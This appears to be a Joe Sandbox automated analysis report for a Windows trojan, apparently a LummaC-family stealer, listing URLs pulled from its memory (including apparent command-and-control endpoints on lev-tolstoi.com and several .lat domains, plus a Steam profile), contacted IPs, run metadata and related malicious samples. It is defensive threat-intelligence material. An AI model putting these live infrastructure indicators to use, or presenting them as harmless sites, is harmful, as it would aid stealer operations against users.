https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://s.ytimg.com;	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steamp	uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/	uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/d	uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steam.tv/	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://rapeflowwj.lat:443/api?N	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/	uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/privacy_agreement/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://necklacebudi.lat:443/apiuOE)	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com:443/profiles/76561199724331900	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/points/shop/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sketchfab.com	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lv.queniujq.cn	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199724331900/inventory/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com/	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/privacy_agreement/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apip.	uZO96rXyWt.exe, 00000000.00000002.1421711583.000000000092A000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/recaptcha/	uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://checkout.steampowered.com/	uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sweepyribs.lat:443/api	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/about/	uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/my/wishlist/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://energyaffai.lat:443/api	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/$	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.com/en/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/market/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/news/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://recaptcha.net/recaptcha/;	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/discussions/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://medal.tv	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://broadcast.st.dl.eccdnx.com	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steambroadcast.g	uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/workshop/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://login.steampowered.com/	uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420560937.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421828051.0000000000989000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008E8000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://crosshuaht.lat:443/api	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://help.steampowered.co	uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://recaptcha.net	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/	uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
http://127.0.0.1:27060	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.c	uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com:443/api	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States		13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States		20940	AKAMAI-ASN1EU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579628
Start date and time:	2024-12-23 06:43:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uZO96rXyWt.exe renamed because original name is a hash value
Original Sample Name:	61e51e787b161b21769aab5c29fc8003.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@11/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:44:08	API Interceptor	9x Sleep call for process: uZO96rXyWt.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
23.55.153.106	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse
	WonderHack.exe	Get hash	malicious	LummaC	Browse
	Launcher.exe	Get hash	malicious	LummaC	Browse
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	WonderHack.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Armanivenntii_crypted_EASY.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	aqbjn3fl.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	v_dolg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.254
steamcommunity.com	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	23.55.153.106
	8ZVMneG.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	qth5kdee.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	LgendPremium.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ji2xlo1f.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	23.209.72.32
	Neverlose.cc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher_x64.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	WonderHack.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Launcher.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Wave-Executor.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	2.elf	Get hash	malicious	Unknown	Browse	172.237.152.235
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.121.53
	nshkarm7.elf	Get hash	malicious	Mirai	Browse	172.233.106.253
	nsharm7.elf	Get hash	malicious	Mirai	Browse	172.227.252.37
CLOUDFLARENETUS	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	fKdiT1D1dk.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.16.249.249
	fKdiT1D1dk.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.16.248.249
